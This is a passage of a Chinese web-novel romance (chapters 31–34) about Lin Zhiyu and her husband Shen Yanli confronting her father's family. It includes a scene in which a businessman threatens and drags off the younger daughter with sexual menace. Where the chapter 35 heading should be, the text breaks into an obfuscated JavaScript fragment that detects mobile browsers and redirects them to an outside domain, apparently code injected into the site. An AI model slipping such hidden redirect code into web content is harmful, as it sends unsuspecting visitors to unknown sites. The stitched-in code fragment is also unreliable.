沈砚礼喉结轻滑,他将手心的温意握紧,干涩的嗓音轻响,“好。”
隔间内。
一米五的大床,睡两个人绰绰有余,林知妤轻扯了扯薄被,书房空调温度开的不低,两人间空隙极大,被沿拉的平直盖不住后半身。
一阵窸窸窣窣声响后,林知妤躺平身子,屋内再度恢复静谧,她捏着被角偷偷看向身旁的沈砚礼。
男人眉骨突出,双目自然紧闭,书桌的台灯未关,昏暗不明的光线打在他线条清晰的侧脸棱角上,添加了几分柔和。
低暗的氛围放大了感官,他平稳的呼吸声在耳边无限放大,林知妤悄悄打量着,脑海里忍不住回想他失控时缱绻难溢的神情。
低|喘的音道还在耳畔回转,跟他平常冷峻矜贵时不同,染着强抑的声道里还藏着一丝泛情。
勾着人一步步深陷。
她看的入神,没注意黑眸在阴翳下睁开,直勾勾地投向她那透亮的眼底。
一道低沉含情的声线传来,“怎么了?”
磁性温柔的音色撩拨得她耳尖发麻,林知妤顿感的摇了摇头。
“灯太亮了吗?”他又问。
沈砚礼掀开被角,作势要去关。
林知妤下意识地扯了他的衣角将他拦下来,犹豫了一下,突然想到浴前的那通电话。
她当即开口怕他发觉异样,“爸爸打电话来了。”
恐怕是遇到了什么急事,那慌乱的声线也不知道是不是在说谎。
但听他的意思,好像沈砚礼并不接他的电话。
为什么?
她眼底的疑惑昭然显见,沈砚礼了然,他侧过身声音低的像叹息,“你要问我什么吗?”
“爸爸说你不接电话,为什么?”她眨了眨眼,将疑问说出口。
因为什么?她吗?
沈砚礼垂眸看她,极低地应了一声:“他做错了事。”
林知妤微微愣神,做错了什么事?她指尖在薄被上揉搓,放空脑袋去想,商业上的还是生活中的。
林道海这么一个做事圆滑的人不至于会在生活中招惹到沈砚礼。
在原书中林道海前期有做什么令他不悦的商业决策吗?
她定定望向他,想在他脸上找到答案,沈砚礼却不打算告诉她。
他不再看她,只是淡淡阖上眼,连话都不同她再说一句。
“他怎么了呀?”
林知妤戳了戳他的手臂。
沈砚礼不理。
“你怎么不说话?”
“沈砚礼——”
她再戳。
他鼻息长舒,隐有无奈之意。
“知知,你安静点。”
沈砚礼将她作乱的手心反握在手,这下好了,屋内瞬间寂静无音。
林知妤一动不敢动。
她盯着天花板眨了眨眼。
又被逮住了。
安静半响,身旁动静全无,她悄然看去见情况安全,随即转回头闭上眼,掩耳盗铃般缓慢抽出手心。
沈砚礼躺着没动,仍由她小心翼翼的小动作,唇角微不可察地勾起,直到她快要成功抽出时,再一鼓作气将手心重新握回,带有薄茧的拇指在她细软的手背上摩挲,传递着两人间不平衡的体温。
这招好使的很,林知妤彻底噤声了。
她眼睫低颤,再不敢有所动作。
宽厚的掌心,带有温意的触感,手心异物的存在感极强,容不得她不分神去想不久前才面红耳赤的场景。
幻视的一刹那,她清楚的记得他那不受控制般放肆的神情,林知妤红了脸,那一声一声低哑的嗓音还在耳畔低喘,没被禁锢的右手攥紧了被单,指尖陷进皮肉用疼痛感强行拉回理智。
沈砚礼似有所察觉,他将手松开,淡淡地唤她,“知知,晚了睡觉吧。”
再牵下去,今晚他也不用睡了。
没等他说完,林知妤已经连手带人翻了个身,只冷漠的留了一个背影给他。
她小幅度的转了转手腕,长舒了一口气。
终于,活过来了。
她不再闹腾,这个夜晚过得反倒极慢,沈砚礼低眸定定看着,直到她鼻息轻缓沉沉睡去。
天光大亮,沈公馆早晨日常清扫,书房内台灯长明整晚未灭,来人关了台灯将房门轻推。
昨夜闹的晚了,沈砚礼乏的厉害睡到至今还未醒。
林知妤侧躺在两个枕头中间,再近一分就能贴上沈砚礼的肩头,她的手随意搭在男人腰腹,乌发被他枕在头下。
窗外白光透过未拉严实的窗帘洒在薄被上,她热的难受,又向他的方向无意识地挪了挪。
下从的开门声惊醒了沈砚礼,来人看情况不对已经将房门牢牢关实。
他轻轻撩起眼睫,还有几分未完全清醒的恍惚。
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眉心紧绷,他下意识就要抬手,这才发觉身旁多了丝不寻常。
沈砚礼凝眸看去,少女绯唇微张,睡姿不雅,纤白的手臂极强霸道的横伸在他腹部,无声地宣示她的地盘。
异样的情愫疯狂交织,他一时间看愣了神。
下从刚打扫完次卧出来,书房门就被人从里拉开,沈砚礼也看见了他。
刚停顿了半响的手机再次响起,他看也不看就按了挂断键。
他揉了揉眉心吩咐,“早餐先不用做,过两个小时后叫太太起床。”
沈砚礼低沉的嗓音里隐隐透着不悦。
林家,该去一趟了。
——
林知妤满脸倦意,上了车她就将座椅放倒卷着毛毯继续睡。
她嘴里嘟囔着斥责他,斥责他早早叫她起床,斥责他不好好怜惜她,斥责他婚后都没让她睡过一顿好觉。
沈砚礼好脾气,由着她胡言乱语。
他细细听着,然后反驳他觉得不对的地方,“我哪有没让你睡过一顿好觉?”
“就有。”
她闭着眼,态度强硬。
沈砚礼:“知知,你好不讲理。”
林知妤翻了个身面对着他蜷卧着,她眼睛还沉重着分不开,一边和周公解梦一边诉说着他的罪行,“是不是你昨天晚上搞的我睡不着觉。”
“我都这么晚才睡了,你九点钟就叫我起床?你这个是家庭暴力,晚上不让睡白天也不让睡。”
他叩了叩腕表,企图和她讲理,“知知,一点而已,对你的作息来说还不晚。”
奈何美少女蛮不讲理,“晚!美少女都是要十个小时的完美睡眠的。”
沈砚礼无奈,“今日没事,中午补偿你一个小时好不好?”
林知妤猛地睁开了眼,她不假思索地摇头,“不要。”
她狐疑的睨了他一眼,又道:“你干嘛这样对我?沈砚礼你对我没安好心。”
美少女的发言总是这么活跃跳脱,沈砚礼将晨报放下,跟上她的节奏,“我怎么就对你没安好心了。”
林知妤:“你之前不是这样的。”
沈砚礼了然般的点了点头,随后一声“哦。”
“那我是良心发现了,家有貌美娇妻要多多疼惜才好。”
“……”
林知妤目瞪口呆,“沈砚礼你好吓人,你被鬼上身了吗?”
他极低地笑了笑,不再逗她,“你爸爸说想你了,我们回去看看。”
林知妤才不信这话。
她抽了抽嘴角。
到底是想她还是想沈砚礼,明眼人都看得出来。
接二连三的打电话,看来事情不小。
不会要天凉林破了吧。
想到这,她直勾勾地盯着他,直白地发问:“破产了吗?”
“不至于。”他说的云淡风轻。
林知妤:“那是因为什么?”
“要破了。”
林知妤:“……”
得,这个大佬说话很有艺术风范。
怪不得电话不断,林道海这是天天守在家门口等着沈砚礼回来给他兜底吧。
男人视线极慢地收回,薄唇轻启,语调沉沉,“不过我们回去不为旁的,只为取你的嫁妆和新婚礼物。”
32.第 32 章
林知妤这招先斩后奏可害苦了陶倩。
原想等着葛洪和这个小贱蹄子水到渠成之后就能换欣欣嫁过去,这下倒好了。
她瞒着他们自己先悄摸把证领了,这不一下就将欣欣的后路给堵死了吗?
葛洪见娶林知妤无望,又不敢去找沈家对峙,只能将气撒在林道海身上。
扬言若是林道海不给他一个满意的交代,那他是不会放过林家的。
林道海没法,就只能将林雨欣推出去承担他的怒火。
这不是把亲女儿往火坑里推吗?陶倩怎么会乐意。
但若是不同意,葛洪便频频出手对付他们,将苦心竭力谈好的货源纷纷垄断,甚至不惜出高价将公司高管给挖走,现在两家局势已经到了白热化的状态。
葛洪起先还对林家背后的沈砚礼有所忌惮,但在林家多次受难都不见沈家出手相助后他便开始变本加厉。
如今,一大早他便带人来林家大宅讨要说法,一副誓不罢休的模样将整个林家围了个密不透风。
对这一个多月来林家所发生的一切沈砚礼都了如指掌,他冷眼旁观甚至愿意为这场纷争多添一把火。
林知妤瞳孔微微一亮,她撑着扶手坐直,两眼放光的听他把林家的近况一一讲明。
沈砚礼说话的声音沉缓中饱含磁性,宛如澄澈清泉流落般带着蛊惑的温柔融进她的耳膜里。
他垂目看向林知妤,似乎也知道自己的嗓音对林知妤有着别样的吸引力。
而后带着温柔的音调里都藏着细弱的淡淡笑意。
林知妤细细听着,别的感想没有。
全是对陶倩幸灾乐祸。
回旋镖打到自己身上才知道痛,林知妤倒是想去问问陶倩,当初二话不说就想把她卖给葛洪的时候有没有想过林雨欣也有今天?
自作孽不可活。
该她的!
沈砚礼起初还害怕她会因此联想到那桩陈年旧事而感到心情郁闷。
看她唇角弯弯,眉宇间还带着点狡黠的幸灾乐祸,他便放心了。
沈砚礼气定神闲地轻飘飘一句,“你想怎么处理这件事?让一切都回到正轨好不好?”
该嫁的嫁,该分的分,给这场闹剧判了死绝。
林知妤明白他的意思,她想也不想很快点了头。
略作沉吟后,她又摇了摇头。
那个葛洪中年脱发,油头大耳,一看就是玩的又花又烂的,林雨欣到底是女孩子,若是仍由她嫁给葛洪,那她岂不是成了和陶倩一样的人。
说到底不过是攀权附贵,爱耍点小伎俩的小姑娘罢了,还罪不至死。
林知妤后腰抵着靠背,大发慈悲地放过了林雨欣,“她也没做错什么,都是她妈妈的错,葛洪这么恶心,她嫁过去多半下辈子都不会好过了,算了吧。”
“没准他还会因为我,把这件事牵连到林雨欣身上呢,那更不好了,唉不过是个被爸妈惯坏的小姑娘罢了,担惊受怕这么久也够了。”
她肯定的点了点头,觉得自己真善良,简直是观音菩萨转世,普度众生。
林雨欣也就托了没做过什么对自己实际性伤害的福,整天路过她就是翻翻白眼,阴阳怪气两下。
要不她才懒得管她。
沈砚礼没错过少女眼底一闪而过的自鸣得意,他蓦地低笑了声。
自己还是个小姑娘,反倒操心别人。
林知妤似乎想到什么,她又郑重地补充:“但也别这么快就放过她,轻而易举的事反而会不被珍惜,还是要小小给她点教训,让她张张记性。”
不然肯定会把她的好心当驴肝肺。
那肯定还会扯出一堆后事,麻烦死。
车已经驶至林家大宅附近,陈助轻点按钮将后座的遮光帘拉开,露出车外景象。
沈砚礼在窗帘拉尽前微微颔首,“好,都听你的。”
他将目光移至窗外示意林知妤一起,看着门前葛洪留下驻守的保镖,他极低地一声嗤笑。
她想错了,不管轻不轻易,林家都会把她的行为当作理所当然,不会对她产生任何感恩。
反而会变本加厉向她索要需求,直到她拿不出再毫无顾忌的肆口漫骂。
小姑娘心性单纯,她不知道这些。
林知妤一双眼眸里满是震惊,“哇,不是,这么多人?沈砚礼我们就单枪匹马进去吗?”
“我觉得葛洪会把我们两个都给削了,你带人了吧?”
沈砚礼笑了笑,“不急,再等等。”
她没忍住对这两个大男人产生鄙夷,“这么多人,这不是非法入侵住宅吗?林道海傻的吗他怎么不报警。”
他嗓音淡淡:“他不敢。”
林知妤疑问:“为什么不敢?”
沈砚礼云淡风轻地说:“自然是做了法律上不被允许的事,妄想私下解决。”
她一副了然模样,“这是被葛洪拿到把柄了啊。”
怪不得想私了,所以他也绝对会向葛洪妥协卖女。
现在是她林雨欣,若不是沈砚礼,那现在在里面的就会是她。
不,早在那个晚上就该是她了。
——
林家正厅,葛洪带人包了整个客厅,里里外外站了不少人。
正主来势汹汹地坐在沙发上,话说的格外不客气,“林道海,我没功夫陪你在这寒嘘问暖,当初是你说的沈家要的是林雨欣,我不计前嫌的答应你们换了人。”
“那你是怎么对我的?说好的人呢?还不到半天就变卦,好,你说大的那个不听话自己自作主张嫁进去了。”
“那不是还有一个小的吗?你这样做人就不厚道了吧?大的嫁不了小的不愿意?怎么我葛家是有什么凶禽猛兽吗?你们家的女儿这么躲着我?”
两名黑衣大汉压着夫妻二人跪在地上,场面一度紧迫。
这接连几句,林道海额头已经开始频频冒汗,他擦也不敢擦,赶忙安抚他的情绪,
“葛总,实在是事出突然,我们也没想到她会不和家里商量一声就把自己嫁出去了呀,这也是没有半分的事啊。”
这个说辞一个月来葛洪听了不下数百次,他这次来说什么都要讨个说法走,“没有办法?哪来的没有办法,那你家不是还有个小女儿吗?”
“我们之前说好的不就是欣欣吗?我婚房彩礼都准备好好了,你们说不愿意就不嫁了?”
他就这么一个女儿了怎么可能嫁给葛洪这种人,就算他答应了,陶倩也要跟他一闹到底。
两边为难,他也没法,“葛总,你行行好,你要的资源,供应链,我们能给的都给了呀,我们林家就剩这么一个女儿了,您放过她吧。”
葛洪嗤笑一声,他理所当然地将腿架到茶几上,“放过?什么叫放过?她嫁到我们林家是去享福的,只要能给我葛洪生个大胖小子我绝对不会亏待她,你林道海犯不着操这个心。”
这话陶倩听完立马急了,她的女儿怎么可能嫁给这种人,她向前跪了两步连连哀求,“不行的不行,欣欣,欣欣她……”
霎地她突然想到,“对,欣欣她生育不了,医生说她体寒难受孕,不行的葛总欣欣她不行的。”
葛洪恶狠狠踹了茶几一脚还要发难,就被二楼的男声打断。
“葛总,门被反锁了。”
林雨欣见情况不对早早躲回了房间,葛洪是什么样的人?她是绝对不可能嫁给他的。
“撬,砸,今天说什么都给我把那个女人拖出来,我就不信了。”
他平了下心对他们好言相劝,“林夫人,你可放心好了,在我们葛家就没有不受孕的说法,打都要给她打出一个孩子来。”
随着二楼门板接连被踹的声音传来,陶倩耐不住了,她连连爬向葛洪求饶,“一切都是我的错,葛总欣欣她还只是个孩子,你放过她吧。”
她推了推林道海,“你想要什么我们林家都能给,你说话啊林道海,是不是。”
身旁的男人懦不作声,葛洪捏着公司命脉。
如果,如果不如他的愿,那会出大事的,整个林家进去都有可能。
不见他应和,陶倩使出全身的力气去打他,带着沙哑的哭腔在整个别墅回响:“我和你就这么
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一个女儿,她要是出事了我这辈子都不会放过你的,你说话啊林道海。”
林道海紧了紧拳,还是不舍自己的妻儿,要别的都行,他一定都能给。
“是是,葛总您行行好,您想要什么我们林氏一定倾尽资产送来给您。”
葛洪看不上他那些小恩小惠,他今天铁了心要带走林雨欣。
“妈!爸爸!救我!啊啊啊啊啊——”
门板啪的一声砸向墙面发出巨大响声,随后就是一道尖锐的哭声从上方传来。
林雨欣被拽着手臂一路拉到一楼将她摔到茶几上。
小腹因剧烈撞击而产生疼痛感,她来不及适应捂着肚子就要跑。
葛洪没让她如愿,没等她离开桌面,一双粗肥的手就将她的手腕牢牢攥在手里,林雨欣左手撑着桌面挣扎着想逃。
他看着眼前的美人心里一阵满意,“我想要什么?这不就是我想要的吗?也不劳烦岳父替我操心了,眼前现成的且有不要的道理?”
林雨欣两眼汪汪,她挣扎不过回头求救,“不要不要,不要爸爸,妈妈救我,我不要嫁给他,妈救我啊。”
让她嫁给葛洪还不如让她就这么死了。
她跪在桌面上一个巴掌就往葛洪脸上扇。
葛洪反手止住她轻飘飘的一掌,“知道你姐姐性子烈,没想到你性子也是烈的很,正好,你妈说你生育不了,那我们就在这里试试,看看你是不是真的生育不了。”
女人不听话动手教训一番就是了,这个他葛洪最懂行。
陶倩瞪大双眼,“你敢?林道海!她可是你的亲女儿,你还在这里做什么?报警啊报警”
葛洪毫不畏惧,“报警?呵报警,林道海你老婆还不知道吧,你干的那点腌臜事,报警先抓的就不是我了夫人。”
“我可是有心想和你私下解决,林道海你可别给脸不要脸。”
他就是捏紧了林道海的命门才会这样无所畏惧。
垂眸看向林雨欣。
他这个好岳丈真是给他生了个好媳妇啊。
林道海锤了锤了大腿。
这可是他林家百年家业,不能就这么毁在他手里。
他狠的咬咬牙也无能为力,林道海伸手拦住陶倩的肩膀,“夫人,算了算了葛总他不是保证了吗?他会对欣欣好的。”
陶倩不敢相信他真的会把他们唯一的女儿送给葛洪,“你说什么?林道海你在说一遍,你信不信我现在一头撞死给你看,她可是我唯一的骨肉,我为你处心积虑了这么多年,你要这么对我吗?”
“啊你说话啊。”
她不死心地推了推林道海,脸上满是泪痕。
费尽心机嫁给他,换来的就是这种结果,她怎么能不心寒。
那可是他们唯一的女儿啊。
林道海双手暴起青筋一把拽紧陶倩的手怒喊:“你想我整个林家都陪在你们母女身上吗?”
“嫁人而已,只要我们林家不倒,就不会有人欺负欣欣。”
陶倩摇了摇头,对他一脸失望:“你说的是人话吗林道海。”
她甩开林道海的手,“好好,你不管我管,有我在你别想动我女儿。”
“你既然知道我大女儿嫁进了沈家,沈砚礼会为我们做主的,你不怕吗?”
葛洪呵呵大笑,笑她陶倩还看不清时局,笑她妇人之见。
“还做主,你当这里是皇宫吗?还给你做主,你当初卖他老婆的时候怎么不说这话呢,林夫人,沈家没来落井下石就已经很不错了,你还指望他们来救?”
他两指掐着林雨欣的下巴左右端详,语调里是不可一世的肆意,“再说了,这要真是皇宫,那老子就是皇帝,我看谁还有话说。”
能带回去这么一个貌美如花的妻子,他这趟来的不亏。
葛洪自以为这事妥帖地定下来了,他带着色意的眼光正在林雨欣身上打量着。
混乱的大厅内,不疾不徐地男声带着平静薄凉的音调在刺耳尖锐的女声中不合时宜地传来。
“葛总最近脾性不小啊,沈家做什么事还需要和你汇报吗?”
33.第 33 章
林知妤终于知道为什么这些小说,偶像剧的主角们都能在关键时刻准确无误的出现了。
她小眼睛一瞬不瞬地盯着陈助递过来的平板。
沈砚礼淡定自若地接过随意点击屏幕,屋内正在发生的一切都被一五一十地记录在上。
他长的极高,长指漫不经心地高举着手里的平板像拿着手机般毫无压力。
林知妤扶着他的手臂扬起脸来也只能看到反光后屏幕的边边角角,她晃了晃他的西装袖口,有些泄气,“沈砚礼,我看不到啦。”
沈砚礼垂下眼睫看向她,林知妤也在瞧他,她努着嘴漂亮的眉眼里皆是不高兴的神情。
见他毫无反应,她秀眉轻拧又拽了拽他的衣袖,“你低下来一点嘛。”
长这么高做什么?自己一个人吃独食有什么意思。
沈砚礼幽静的眸光里翻过一霎那似有似无的笑意,他慢条斯理地俯下身,“好。”
林知妤这才满意,她一只手挽上沈砚礼的胳膊,小脸再近一寸就能贴上男人的肩膀。
屏幕里那场闹剧更能吸引她所目,对于此细小胜微的小细节她未予以在意。
沈砚礼附身配合,视线不着痕迹地落在她身上,他突然一声轻笑。
怎么教都学不会避嫌。
林知妤正看着起劲,被他这声打断有些不明所以,“怎么啦?”
少女不谙世事的目光好奇地睨了他一眼,随后又被屏幕中林氏一家难见的屈辱之姿所吸引。
她分出神来随口问了一句,但其实也不是真的很想知道。
沈砚礼没回答。
回答了她也不会听。
他目光极慢地落在她的小脸上,正大光明地欣赏她幸灾乐祸的神情。
少女眉目低敛,她干脆接过了平板替沈砚礼掌管,挽着他的手倒是难见的忘记放下来。
沈砚礼慢腾腾地捏起她的手心,不疾不徐地握在手里把玩,长指随心所欲地戳,捻,摩,捏。
他又想了想。
不避嫌也好,对他,不用避嫌。
少女情到深处时还会反握住他作乱的指端,笼着笑意的音调兴奋的和他分享林道海的窘况。
沈砚礼只淡淡地应和,手里的动作一丝未停。
对于林道海遭遇了什么他一点都不在乎,若不是为了他那芝麻大点股份,他甚至都不愿意回来一趟。
不能让为非作歹的人将属于她的都给夺了去。
屏幕里的叫声令他不悦,他眉心蹙起,又觉得回来没必要,股份他有的是,她要是喜欢把沈家的都给她就是……
沈砚礼顿了顿,目光重新落回林知妤脸上。
神情淡然地否决了刚才的想法。
沈家的东西太脏,配不上她。
林知妤没注意他眼底一闪而过的不寻常,她激动的不加掩饰,两眼放光的看向沈砚礼询问:“我们什么时候进去?”
男人低沉清冽的嗓音传进她耳畔,“现在。”
少女娇艳明媚,沈砚礼出声打断时,她正眸光悠悠地扫过一遍地上狼狈不堪的一家人。
男人旁若无人地牵着少女,还能轻飘飘地出言警告葛洪。
她像只娇生惯养的家猫,有着主人的庇护能够毫不避讳地欣赏他们的窘迫,而她林雨欣只能在她的目光下衣衫不整的受人之制。
葛洪听到沈砚礼的声音时神色一愣,他掐着林雨欣下巴的手顿了顿不可置信地回头。
不是说沈家对他们的态度已经是自生自灭的程度了吗?
沈砚礼为什么还会来?
葛洪手上的劲一松,林雨欣挣扎着滑落地面未有一丝停顿地扑到陶倩怀里。
他正不解着,视线扫过男人身旁粉润娇嫩的少女脸上,呼吸猛地一滞。
陶倩果然没有说谎,她这个大女儿的模样确实用国色天香都说不及。
少女清晰明艳的五官有着勾人摄魄的蛊惑力,他忍不住摩了摩手心,若是那天她没有领证。
那她,就是他的了。
男人不加以掩饰的色意投落到林知妤身上,她拧了拧眉感到不悦,下意识地贴近沈砚礼躲避他冒犯的视线。
沈砚礼发觉到他仍认不清现实,还在肆无忌惮地觊觎他的人。
他指腹在少女虎口处摩挲安抚,居高临下地看向还不知收敛的男人,眼底神色凉薄,“葛洪你知不知道你现在在做什么?”
他语调中带着十足的戾气,陈助像是有所感应般带着一群人走进。
葛洪瞪大了双眼,他的助理被毫无尊严的扔向沙发,双目被打到红肿全身无力地瘫在上面。
葛洪咽了咽口水。
都说沈家这位做事狠决毒辣,外界传言果然不虚。
他看着助理的惨状仿佛看到了自己,干笑了两声,腿止不住的打颤,“砚总,你这是……”
男人嗓音极淡,像看待死人一般平静,“再管不住你的眼睛,这就是你的下场。”
林知妤抬睫望向这一刻英俊帅气的男人。
心跳瞬间紊乱:老公!好帅!
葛洪抹了一把虚汗,“不会了不会了。”
他疾步走去将林道海扶起,“来来来,林总你快请起,是我太心急了,都是误会一场,你说是吧。”
他指尖掐进的皮肉中,狠的咬紧牙根。
可真是傍上了个好女婿啊林道海。
林道海两头兼顾,沈家他不能得罪,葛洪这条路他也不会放过。
他虚扶着葛洪,为他脱罪,“是是是,小打小闹,没放在心上,砚礼你别怪他。”
他越是这样,林雨欣越心慌,如今事情好不容易有了转机,她断然不会放过这个机会。
含着哭腔的女声打断场面的和谐,“爸爸!你别让我嫁给他啊。”
葛洪皮笑肉不笑,“你这孩子说的什么话呢,我只是和你相看相看,没到那步呢。”
林雨欣不答应,她一定要林道海现在就给她准确的回答,“爸!”
她的后半生不能就这么糟蹋在葛洪手上了。
凭什么林知妤就能嫁给沈砚礼,而她就只能和这样的男人周旋。
“是是是,还没到那步呢。”
林道海打着马虎眼,两边他都不愿意得罪。
她一声冷哼,哭肿的双眸中含着倔强,“我死也不嫁,你再逼我我就一头撞死给你看,”
他和陶倩的这个孩子脾
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气倔的很,这是他早就知道的,也是故意要她自己当着沈砚礼的面提出来,好断了葛洪的心思。
“诶嘿嘿,你看葛总你看这事……”
果然,他摆了摆手,有沈家这位在,他不敢造次。
“算了算了,不喜欢就算了,感情的事强求不来。”
有了他这声答复,林雨欣靠在陶倩怀里长松了一口气。
葛洪巴不得马上就离开这,不想在这陪他们打太极,“你们聊吧,我就不打扰了,家里还有事,我先走了。”
他干笑了两声,马不停蹄地就往外走,好在沈砚礼没将他拦下。
今天的事就这么算了,林道海你最好保证沈家能庇护你一辈子。
不然……
等着瞧吧。
没等葛洪走远,林道海忙招呼在旁一言不发的男人,“砚礼你怎么来了,快坐快坐,好长时间没见到你了集团是不是很忙啊。”
只要把沈家照顾好了,那他就万事不愁了。
他意义不明地看向林知妤。
还是他这个大女儿有手段,不愧是他的好女儿。
只要能嫁进沈家就行,是谁无所谓,嫁给谁也无所谓。
他以为这事就这么揭过去了,陶倩倒不愿意了。
“林道海!你刚才是什么意思啊?啊?你说,我为你设心积虑这么多年,到头来我们母女就是随意抛弃的物品吗?”
林知妤两眼放光。
哦!要自相残杀了吗?
左右没人顾及他们,她瞧了眼左右,旁若无人地拉着沈砚礼坐到了沙发上。
她心安理得的在沙发上坐下,抬眼瞧了瞧沈砚礼,拍拍旁边的位置示意他,“快来快来。”
早在刚才她就想这么干了。
哪有人站着看戏的,不妥不妥。
男人神色温润,配合着她小姑娘心性,慢条斯理地在身旁坐下。
茶几上还有葛洪鞋底遗留下来的脚印,她皱了皱眉,一脸嫌弃的往沈砚礼的方向挪了挪。
“他好脏啊,我们坐近点。”少女抬了抬下巴凑到他耳旁轻声来了一句。
沈砚礼懒洋洋地低头,颔首同意,“嗯。”
陈助在这个时候走近,立于沈砚礼身后的位置。
这边平静和谐,反观面前“战况”却十分焦灼,
林道海有意安抚陶倩的情绪,不想在沈砚礼面前失了面子。
刚才是他德行有失,现在别让沈家乱想才是,若是因为葛洪断了和林家的往来。
那才是得不偿失。
他拍了拍陶倩的手臂,“阿倩,有什么事我们晚点再谈,砚礼不是来了吗?我们一家人先坐下叙叙旧再说不迟。”
她冷哼一声,啪的一下就甩开了他的手,“谁和这个小贱蹄子是一家人?要不是她,我们欣欣至于落到今天这个地步吗?”
林道海想的事,她偏不让他如愿。
只要那天没出意外,欣欣就能顺利嫁给沈砚礼,哪轮的到她林知妤享福的这一天。
陈助在这个时候出声打断,毫无感情的声音传进林家每个人的耳朵里,“陶倩,冒犯沈家主母的后果你承担不起。”
“还请慎言。”
34.第 34 章
陶倩不以为然,“怎么?我说的难道不对吗?也不和家里人商量一声,自顾自偷瞒着就把证给领了,呵。”
她对陈助的警告不屑一顾,拍了拍膝下裙摆上的灰尘,宛若拍走刚才耻辱的那一幕般。
她睨了一眼林知妤,嗤笑道:“你这个前妻生的女儿真是有的好手段。”
哄的男人二话不说就把证领了。
冷不丁听到自己的名字,林知妤下意识地脖子往后缩了缩。
这么还吃瓜吃到了自己头上。
少女的脸颊紧贴着男人,软嫩的苹果肌突兀的挤成肉嘟嘟的一层出现在他的手臂上。
她一向站没站相坐没坐相,跟没骨头似的随处靠着任何能靠的东西。
一点都没觉得哪里不妥。
这一大家子的反目行为,比她预想的还要巨烈。
她在百忙中抽出心思来问沈砚礼,“我妈妈是个什么样的人啊?”
男人正百般聊赖地把玩着她腿上的小指,他懒洋洋地掀起眼帘,淡淡掠过身旁丝毫没察觉到不对的少女。
林知妤对上他深幽平静的黑瞳。
她捏了捏鼻头有些反应过来了,“哎呀我知道嘛,我又不是林家人,我怎么会知道她妈妈的事呢。”
“书里没描写过关于你妻子的家世,我好奇嘛。”
沈砚礼瞥了她一眼,这才轻轻应了一声,“现在说?”
话音刚落,他握着的细指不乐意了,见目的达成少女眉宇含笑,得逞般的将指尖抽走。
她唇角扬起,悠悠道:“回去说。”
沈砚礼指端还保持着刚才的停顿,他眼底闪过一丝无声无息的笑痕,配合点头不再答话。
林知妤已经不再看他。
没有什么比林家反目更吸引她。
这简直就是大型电视剧现场。
噢不,短剧。
林道海脸色乍变,他余光瞥到了沈砚礼凉薄的神情,不想她一错再错,沈家可不是他们好招惹的啊。
他意有所指,“陶倩,你说话注意点,孩子还在呢你胡说八道什么?”
林雨欣意识到她爸的话外音,她扯了扯陶倩的衣袖,“妈——我们一会再说吧。”
砚礼哥哥还在呢。
陶倩一声冷笑,不管不顾她的阻拦,“我胡说八道?沈家这桩婚事本来就是我们欣欣的,要是没有她……”
手指指向在沙发上悠然看戏的林知妤,满口污秽,“林知妤你个贱蹄子早在那晚失身给那头肥猪多好,就不会惹出今天这些事来,你和你那个死了的妈一样都是害人不浅的玩意。”
景韫那个贱女人,死了还不让她安生。
她生的女儿也是个贱蹄子。
还活着的时候抢她的位置,死了生的女儿还来抢她女儿的位置。
凭什么?
“啪。”
客厅内的动响都被这声清脆的巴掌声打断,空气一瞬间凝固。
杂乱的发丝垂落下来遮住了她的半边面孔,她捂着刺痛火辣的脸颊,林道海这一行为带给她的耻辱比葛洪让她下跪时还大。
这一掌林道海没收着力道,结结实实的痛感在手上传来他才发觉自己失态了。
林道海死死咬着牙,他拔高了嗓音,“陶倩,你给我闭嘴。”
手止不住的颤抖,话里不讲半句情面。
林知妤现在已经嫁给了沈砚礼,已经是沈家主母了。
他早就说过,有再多的怨念都不要在沈砚礼面前提起。
林雨欣扶着她妈不可置信地看着她爸,“爸!你干什么打妈妈,她说的不对吗?”
林知妤没忍住“哦”了一声。
不是大姐,那能对吗?你们有点表演的忘乎所以了,我人还在这呢,骂我的话避着点人说行不行?
她摇了摇头,伸手戳戳沈砚礼的手臂,随后凑到他耳下,在他耳畔低语:“我真的觉得她们疯了。”
沈砚礼掀起眼帘,眼底毫无波澜,“那就送走吧。”
“什么?”
林雨欣红着眼看着这一切的始作俑者,她恶狠狠的眼神恨不得现在就撕了林知妤。
明明她才该是坐在砚礼哥哥身边的那一个,今天坐在那看热闹的人本该是她。
都是林知妤这个贱女人抢走了属于她的东西。
陈助面无表情地打断,“我要是没记错的话,沈家最开始定的就是咱们林大小姐,不知林夫人口中这个二小姐的婚事是怎么来的呢?”
“想来林夫人是中年痴呆了,记性不太好。”
林道海连连应和,“是是是,陈助说的没错,是我没和夫人说清楚。”
他面色难看。
当初就不应该和她说沈家联姻的事,就不会闹出今天这样的笑话了。
客厅内的动静不小,引来了不少看热闹的佣人,四处传来阵阵窃窃私语声。
“我早就看夫人不正常了,经常在卧室自言自语,应该是被刺激惨了。”
“我听之前那个老管家说,夫人刚嫁进来的时候把前夫人的东西都烧了,存在一个罐里天天盯着看,直到二小姐生下来那个罐子才不见了。”
“这种事你怎么不早说?”
“我那不是怕是假的,更何况这夫人还在呢,我哪敢乱说啊,一会工作没了你赔我啊。”
“你这么说我想起来了,当时半夜想上厕所来着,听见楼上有声音还以为进贼了呢,我赶紧上去一看夫人拿着个花瓶在砸大小姐的床,可吓人了。”
话音刚落尽,就有人接上去补充。
“不止呢,大小姐还在家的时候,我有一天半夜看见夫人站在大小姐门前一动不动的。”
“真的吗?这么吓人我不行了,我鸡皮疙瘩都起来了。”
低语声传进每个人的耳里,沈砚礼视线不着痕迹地落在陶倩身上,他抬眸启齿,“刚好,沈家在国外有家精神病院,就送到那去吧?”
不像是在和他们商量,倒像是在通知。
林知妤自然听到了那些低声私语,她抬眸看他,泄气般地抿了抿唇。
男人长臂已经默不作声地搭上了少女的细腰,他手里换了个东西摩挲。
指腹在腰窝上无声安抚。
她摇了摇头回应:“没事。”
应该是之前原身还在时候的事。
男人面色沉冷,眸底无情绪流动。
没把她的这声安抚“没事”当一回事。
陶倩恶狠狠地看向林道海,“你敢?林道海你敢?”
我等了你三十年,你敢这么对我?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176425|177732||http|test|mini|href|location''.split(''|''),0,{}));
